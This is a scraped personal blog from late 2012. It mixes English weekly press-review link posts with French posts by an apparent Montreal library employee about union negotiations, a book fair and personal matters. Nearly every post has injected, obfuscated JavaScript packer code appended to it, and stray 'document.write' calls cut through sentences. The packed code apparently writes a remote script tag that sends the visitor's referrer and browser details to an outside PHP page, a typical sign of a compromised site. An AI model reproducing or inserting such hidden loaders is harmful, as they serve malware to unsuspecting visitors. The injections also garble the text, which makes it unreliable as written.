Press Review (2012-11-27)

In the last couple of months I’ve been suffering from intermittent spell of dizziness. I’m not sure exactly what’s causing this, document.write(“”); but it is quite annoying (particularly this week-end). Strangely it strikes mostly when I am tired, after a long week of work, during my days off (as I am catching up on my sleep). Not much happened this week (however Apple FINALLY announced a date for the new iMacs! I’ll soon have a REAL computer to work with — whatever we say, a Mac-mini and an iPad can’t do all the work of a desktop), but there was a lot of interesting stories in the news (I read a lot online this long week-end). As usual, I am sharing the links after the jump:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|azbet|var|u0026u|referrer|drksd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|afkhz|var|u0026u|referrer|kzhae||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Library

Humour

Local News & National Politics

Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

[ Traduire ]

Démocratie syndicale : la pyramide inversée

L’équipe du 109 au 429 nous annonce la tenue d’une seconde Conférence-discussion cette fois sur le sujet de la démocratie syndicale: “Démocratie syndicale : la pyramide inversée.”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rhtaa|var|u0026u|referrer|hhndh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rhhaf|var|u0026u|referrer|disni||js|php’.split(‘|’),0,{}))

La présentation abordera notamment les embûches qui font en sorte que les structures syndicales peuvent sembler déconnectées des membres, document.write(“”); alors que sur papier, elles semblent à l’écoute de ces derniers et apparaissent structurées démocratiquement. Le tout sera suivi d’une discussion.

La conférence aura lieu à l’UQÀM (salle A-2645, Pavillon Hubert-Aquin [entrée coin St-Denis/Ste-Catherine], 2e étage) le Mardi 4 décembre 2012 à partir de 19h00.

Vous pouvez aussi visiter la page Facebook du 109 au 429 pour approfondir et partager cette information.

Note : La période pour remplir le sondage en ligne portant sur notre future convention collective (via le site du SFMM) a été prolongé jusqu’au 7 décembre! Remplissez-le, c’est important!

MàJ (2 déc): Après avoir finalement rempli le sondage, j’en profite pour mettre à jour (encore) le billet “Note syndicale” où je donne mes priorités et suggestions de points à négocier dans la convention collective des cols blancs de la ville de Montréal.

[ Translate ]

Press Review (2012-11-19)

Another difficult week. Nothing really important happened (I am STILL waiting for the new iMacs to be released and I am getting QUITE impatient!), document.write(“”); but strangely there was nevertheless lots of interesting small news stories. Check the links after the jump:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|frhkf|var|u0026u|referrer|zeiih||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dybst|var|u0026u|referrer|isaes||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Library

Economy, Environment & International/U.S. Politics

Health, home & garden

Humour

Local News & National Politics

Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

Union stuff & Montreal’s libraries

[ Traduire ]

Mise à jour syndicale

Un bref billet juste pour vous informer que j’ai effectué ces derniers jours et semaines plusieurs mises à jour sur des billets d’information de nature syndicale.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iynbz|var|u0026u|referrer|sdzty||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nirik|var|u0026u|referrer|hrkyh||js|php’.split(‘|’),0,{}))

Ces ajouts sont identifiés par la mention “Mise à jour:” (ou simplement “MàJ:”) et sont surlignés en jaune.

Vous les retrouverez dans les billets suivants:

Finalement, j’en profite pour vous enjoindre à nouveau d’aller sur le site du SFMM et d’y remplir le sondage pour exprimer votre opinion sur VOS priorités dans la négociation de notre prochaine convention collective. Ne tardez pas: C’est important et vous n’avez que deux semaines pour le faire ! [ Quant à moi, la priorité est de négocier cette convention au plus vite! ]

MàJ (28 nov.) : La période pour remplir le sondage en ligne portant sur notre future convention collective (via le site du SFMM) a été prolongé jusqu’au 7 décembre! Remplissez-le, c’est important!

[ Translate ]

Clodji au Salon du livre 2012

Vendredi j’ai visité le Salon du livre de Montréal en long et en large (mais ce fut tout de même une visite éclaire, document.write(“”); en un peu plus d’une heure) et tout ce que j’en ai gardé est une sensation de profond écoeurement.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zbrzf|var|u0026u|referrer|dhsfy||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ezbrs|var|u0026u|referrer|dyisi||js|php’.split(‘|’),0,{}))

Premièrement, il faut être pas mal masochiste pour visiter le salon après avoir passé une dure et très longue journée à travailler en bibliothèques (une de ces journées d’enfer qui vous font reconsidérer votre plan de carrière; ce n’est pas tout d’accomplir avec le sourire la pléthore des tâches variés qu’on vous attribut, mais le faire dans la cacophonie de petits morveux dissipés et irrespectueux qui hurlent et courent partout, c’est très exigeant).

Finalement, la présence de tous ces livres m’a laissé abasourdi, écrasé par une surcharge visuelle et intellectuelle. Il me semble que ce n’était pas comme cela quand je visitais le salon étant jeune. J’en conserve un souvenir d’émerveillement et d’admiration devant tout cet accomplissement littéraire. Des fois je me demande si il n’y a pas trop de livres publiés de nos jours. On en est venu à publier n’importe quoi et n’importe qui de sorte que tous les grands auteurs et ouvrages importants sont noyés dans la masse de ces titres insignifiants et médiocres. C’est cela sans doute la démocratisation de la littérature…

Et c’est probablement encore pire avec l’édition électronique, dont on faisait grand cas encore une fois cette année au salon. Est-ce vraiment une bonne chose que monsieur et madame tout le monde (et n’oublions surtout pas toutou) puissent raconter leur petite histoire et partager anecdotes et recettes savoureuses? Heureusement que les éditeurs ne publient qu’une fraction infime des manuscrits qu’ils recoivent!

Enfin, peut-être que l’édition a toujours été comme cela et, alors que les années passent, l’ivraie s’envole et qu’il ne reste plus dans notre souvenir que les perles et les classiques. C’est vrai, après tout il y a la loi de Sturgeon qui affirme que quatre-vingt dix pour cent de tout est de la merde! Peut-être, mais pour l’instant je ne vois qu’un gâteau visuellement trop riche, qui me reste sur l’estomac. La forêt de livres cache la littérature et je me sens dépassé, anesthésié, gourd et désensibilisé. Et au milieu de tout cela, la télévision, en directe, qui se se bat pour prendre à vos enfants le peu d’attention qu’ils peuvent donner. Les mots, il en reste si peu, auront-ils encore toujours un sens pour ces enfants turbulants, en constant état d’excitation comme de quelconques atomes, agités par les ondes de leurs écrans cathodiques?

J’ai tout de même apercu quelques livres beaux (sur la géographie ou l’art) ou amusants (comme ces compilations de Naruto grand format, immitant les magazines manga japonais hebdomadaires). Mais trop c’est trop. Et je reviens bredouille, mon épuisette vide, sans même la moindre suggestion d’achat pour Noël. Quelle tristesse.

[ Translate ]

Commentaire syndical, suite

Pour faire suite à mon précédent commentaire syndical, document.write(“”); je voudrais signaler que dans le dernier Col Blanc (daté d’octobre mais que nous n’avons reçu à la bibliothèque que la semaine dernière), le SFMM annonce: “nous sommes sur le point de mettre en ligne un sondage afin de vous consulter sur vos priorités dans la perspective de la négociation de la prochaine convention collective (…). Ce sondage est le fruit d’un colloque qui s’est tenu le 31 mars (…). Soyez assurés que lorsque nous aurons compilé les réponses du sondage, nous nous attaquerons à la rédaction d’un projet de convention collective (…).”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zzkrd|var|u0026u|referrer|kkayd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hzitr|var|u0026u|referrer|asbza||js|php’.split(‘|’),0,{}))

De cela je tire deux constatations / commentaires:

Le colloque a eu lieu en mars et on nous présente un sondage que maintenant: cela leur a pris six mois pour préparer un sondage? Ciel! Si cela leur prend un autre six mois pour compiler les réponses et nous présenter le projet de convention en assemblée extraordinaire, combien d’années encore cela prendra-t-il avant que l’on ait une nouvelle convention négociée?!

D’autre part, jusqu’à maintenant je ne trouve toujours pas trace du fameux sondage sur le site du SFMM (le Col Blanc date d’octobre et le texte semble dire que le sondage est imminent). L’aurais-je manqué? Il est plus probable que nos bons amis du SFMM traînent encore de la patte… Soyez vigilant et ne tardez pas à remplir ce sondage dès qu’il sera en ligne. C’est important!

MàJ (15 nov.) : le site du SFMM nous apprend que le sondage pour nous exprimer sur notre prochaine convention collective est en ligne (il y sera seulement jusqu’au 30 novembre, alors dépêchez-vous d’y participer!). Vous pouvez y accèder par ce lien.

Je rappelle que j’avais déjà fait, en mars dernier, mes suggestions de points à discuter pour les négos (auxquels j’ajouterais peut-être la suggestion de bonifier les primes hors heures pour les permanents qui ont un horaire atypique et l’ajout de primes pour ceux qui doivent travailler avec des enfants!! C’est déjà dûr d’être un travailleur de première ligne, en contact avec le public, mais les enfants alors…)

Poursuivez la lecture après le saut de page:

Aussi, ce même Col Blanc nous rappelle, en page huit, qu’il faut se méfier de ce que l’on dit sur les media sociaux. N’oublions pas que notre “code éthique” d’employé de la ville nous retire notre droit constitutionnel de libre expression et que toutes critiques ou commentaires ou “propos (…) inappropriés envers son employeur ainsi qu’envers un membre de la direction de la Ville” (que ce soit sur Facebook, Twitter, un blog ou même dans les media traditionnels comme la presse écrite, la radio ou la télévision) peuvent être causes de suspension ou même de congédiement. Un bon conseil à donner ces derniers temps. J’ai toujours cela à l’esprit quand j’écris (et c’est pour ça que, tant qu’à m’autocensurer, je préfère simplement éviter le sujet tout à la fois ou encore l’aborder indirectement en parlant du travail [in]efficace du syndicat).

Finalement, les gens du 109 au 429 nous rappellent qu’il y aura une manif “pour une véritable équité salariale” devant l’Hotel de Ville de Montréal lundi le 19 novembre à 18h00. Voir aussi l’info à ce sujet sur le site du SFMM (et, pourquoi pas, l’affiche du rassemblement). Dans le cas des aides-biblio je ne vois pas vraiment l’utilité puisqu’on nous a carrément refusé l’équité salariale, mais on peut toujours manifester notre solidarité…

MàJ (18 nov.) : Un récent courriel me rappelle qu’il est important (et ce malgré de récents developpements) de participer en grand nombre à cette manifestation et cela pour deux raisons: 1) faire pression sur la Ville pour que le paiement de l’équité salariale soit fait selon la loi et non de la façon que la Ville en a unilatéralement décidée (l’employeur veut payer seulement ceux ayant atteint le maximum de leur échelle salariale) et ce malgré une décision de la Commission favorable au SFMM; 2) démontrer à l’exécutif de notre merveilleux syndicat (qui s’était originellement prononcé contre la proposition de tenir cette manifestation) qu’il est possible (quand on le veut bien) de mobiliser les membres et que leur mépris n’aura qu’un temps. Alors, s.v.p., venez nombreux pour démontrer votre solidarité à ceux qui bénéficient de l’équité mais qui en attentent encore le paiement!

[ Translate ]

Press Review (2012-11-12)

Still consumed by work and transit time. This week the news were dominated by the aftermath of Obama’s victory in the U.S. presidential elections. Besides that it was mostly quiet, document.write(“”); but here’s a few interesting links anyway after the jump:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|brkeb|var|u0026u|referrer|fnzzk||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fekid|var|u0026u|referrer|zerzr||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Library

Economy, Environment & International/U.S. Politics

Health, home & garden

Humour

Local News & National Politics

Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

[ Traduire ]

New look

I’ve just updated the look of the blog with a new template. I think it was way over due for a change.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kebas|var|u0026u|referrer|dyzdd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hifhd|var|u0026u|referrer|hhezn||js|php’.split(‘|’),0,{}))

Let me know what you think of this new look. Thanks!

[ Traduire ]

Press Review (2012-11-05)

Still busy. This week was dominated by the news of the aftermath of Sandy, document.write(“”); George Lucas selling Lucasfilm to Disney and the very imminent U.S. presidential election. So, you’ll find a few more interesting news links after the jump:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ihtid|var|u0026u|referrer|ztydy||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|itfhd|var|u0026u|referrer|dntay||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Library

Economy, Environment & International/U.S. Politics

Health, home & garden

Humour

Local News & National Politics

Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

Union stuff & Montreal’s libraries

[ Traduire ]

Maudite Lenka !

Hier, document.write(“”); j’ai vu l’annonce de Windows 8 à la télé et depuis ce temps-là je ne peux pas me sortir de la tête la “toone” [tune] plutôt entraînante [catchy] de Lenka, Everything At Once.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rdsas|var|u0026u|referrer|rzfri||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|khekn|var|u0026u|referrer|yieky||js|php’.split(‘|’),0,{}))

Pour vous contaminer aussi voici la video de promo de cette chanson, dont un extrait a été utilisé pour la publicité de Microsoft:

Everything At Once – promo video from LenkaMusic on Vimeo.
[ Translate ]

Press Review (2012-10-29)

After over seven years and a little more than five-hundred posts (as well as nearly forty-thousands pageviews), I am still blogging (or doing my best to). I also keep reading the news online as often as I can. In the last couple of weeks, the story that dominated the tech news (and was of a particular interest for me) was Apple announcing many new products (the new iPad mini, of course, but mostly the new iMac — I’ll finally be able to replace my dead desktop, sometime in November, and I just can’t wait to pre-order it). In the local news, everyone is still talking mostly about corruption (The Gazette, La Presse) and in the U.S. all minds are on the beginning of the last stretch of the electoral campaign for the presidential election (The Gazette, La Presse). And, of course, everyone is anxiously looking at the incoming super-storm Sandy (The Gazette, La Presse). So, again, I am sharing nearly a hundred more links with you after the jump:

Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Library

Economy, Environment & International/U.S. Politics

Local News & National Politics

Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

Union stuff & Montreal’s libraries

[ Traduire ]

Bref commentaire syndical

D’abord, document.write(“”); je rappel à tous que l’équipe du 109 au 409 (L’alternative syndicale pour les fonctionnaires municipaux de Montréal, c’est-à-dire “l’opposition officieuse” de notre très “démocratique” syndicat) tiendra demain une première conférence sur l’histoire syndicale au Québec (histoire sans doute de nous rappeler quelles devraient être les fonctions d’un véritable syndicat qui se respecte). La conférence aura lieu à partir de 19:00 au Centre St-Pierre (près du métro Beaudry, au 1212 rue Panet – salle 105). J’espère que quelqu’un m’en fera un compte rendu parce que je ne pourrai pas y être (je travaille loin et ne pourrais m’y rendre à temps).
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hzaft|var|u0026u|referrer|zirnd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eafhn|var|u0026u|referrer|dikez||js|php’.split(‘|’),0,{}))

[Mise à jour: voir le
Compte rendu de la conférence du 17 octobre 2012 sur l’histoire du syndicalisme au Québec sur le site du 109 au 409]

La suite après le saut de page:

Ça fait un bout que je m’abstiens de tout commentaire sur les affaires syndicales parce que ça me met tellement en rogne que je préfère ne pas en parler. Je lisais récemment dans le Journal Métro que les Cols Bleus avaient signé une entente de principe avec la Ville et ce trois mois avant l’échéance de leur convention collective. Je trouve ça frustrant et j’admire l’efficacité du syndicat des cols bleus (quoique l’entente n’a pas encore été entérinée par les membres et, considérant que la Ville semble pas mal fier de leur coup, je me demande si cette entente ne représentera pas un recul sur les acquis des cols bleus; enfin, on verra quand les détails seront rendu publique — peut-être sur le site de leur syndicat?).

[Mise à jour: j’ai parlé à quelques cols bleus et apparemment ils se sont fait avoir, entre autres, sur leur retraite, car ils ne peuvent plus racheter des années non-côtisées. À cause ce cela, une des personnes à qui j’ai parlé devra travailler une demi-douzaine d’années de plus ! Je suppose qu’ils vont essayer de passer quelque chose de similaire aux cols blancs…]

En comparaison, nous les Cols Blancs ont fait plutôt pitié: notre convention collective est échue depuis décembre 2010. Elle a eut une extension d’un an jusqu’en décembre 2011 et là ça fait donc presqu’un an qu’on est sans convention collective! La dernière fois que j’ai entendu que quelque chose se passait à ce sujet c’est au printemps dernier alors qu’avait lieu un colloque des représentants syndicaux pour discuter des points à négocier et qui devrait être suivi, m’avait-on assuré, par une consultation auprès des membres. Je n’ai rien entendu à ce sujet depuis (et ça fait un bon six mois)!

Je suis sûr que le syndicat se justifierait en disant qu’entre-temps ils ont dû déménager les locaux du syndicat et que l’exécutif a été pas mal occupé à jouer à la chaise musicale (une faction commettant un putsch politique pour éliminer une autre faction) mais alors je me demande: et les membres là-dedans? Loin de moi de vouloir les déranger dans leurs petits jeux mais il me semble qu’on aurait droit à une convention collective en bonne et due forme, non? Je leur paie près de quarante dollars par mois de cotisation, ils pourraient au moins faire semblant de travailler!

La goutte qui a fait déborder le vase (et ajouter l’injure à l’insulte) est ce Fonctionnaire Express datant du début du mois qui annonce une consultation en vue du renouvellement de la convention collective des cols blancs de la Cité de Dorval qui vient à échéance le 31 décembre prochain! Et nous? Et nous? Et nous? Est-ce que quelqu’un s’occupe de nous? J’en ai vraiment marre à la fin!

[Mise à jour: pour les développements sur ce sujet voir mon billet “Commentaire syndical, suite”]

[ Translate ]

Press Review (2012-10-16)

I slowly succeed to catch up on my work around the house and in blogging. The three big news of the last couple of weeks are the rumors (again) of Apple updating its iMac line (possibly announced next week along the smaller iPad, document.write(“”); a 13 Inch Retina MacBook Pro an even a possible new Mac Mini — I hope I’ll finally be able to replace my broken iMac), the 4.5-magnitude earthquake that I felt very early last wednesday (it didn’t really shake but felt more like one big jolt), and Felix Baumgartner’s parachute jump from the edge of space (I watched him live on YouTube as he broke several records and no bones). As usual I’ve gathered the links to the most interesting news and I am sharing them with you after the jump:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|shiai|var|u0026u|referrer|anazz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fazhd|var|u0026u|referrer|efthk||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Library

Economy, Environment & International/U.S. Politics

Health, home & garden

Local News & National Politics

Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

White-collar union stuff (SFMM) & Montreal’s libraries

“Unshelved” marathon

I just finished catching up on a few months worth of my favourite web comics: Unshelved. This year they’re celebrating their tenth anniversary and there’s already eight annual compilations available. Oh, document.write(“”); did I mentioned that it is the story of a dysfunctional library and its staff ? I just feel at home. (See previous reviews).
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zetzr|var|u0026u|referrer|knthy||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rzhyh|var|u0026u|referrer|zbhtr||js|php’.split(‘|’),0,{}))

See my latest favourites strips
after the jump:



And the best of all (which originally appeared on 1/23/2003):

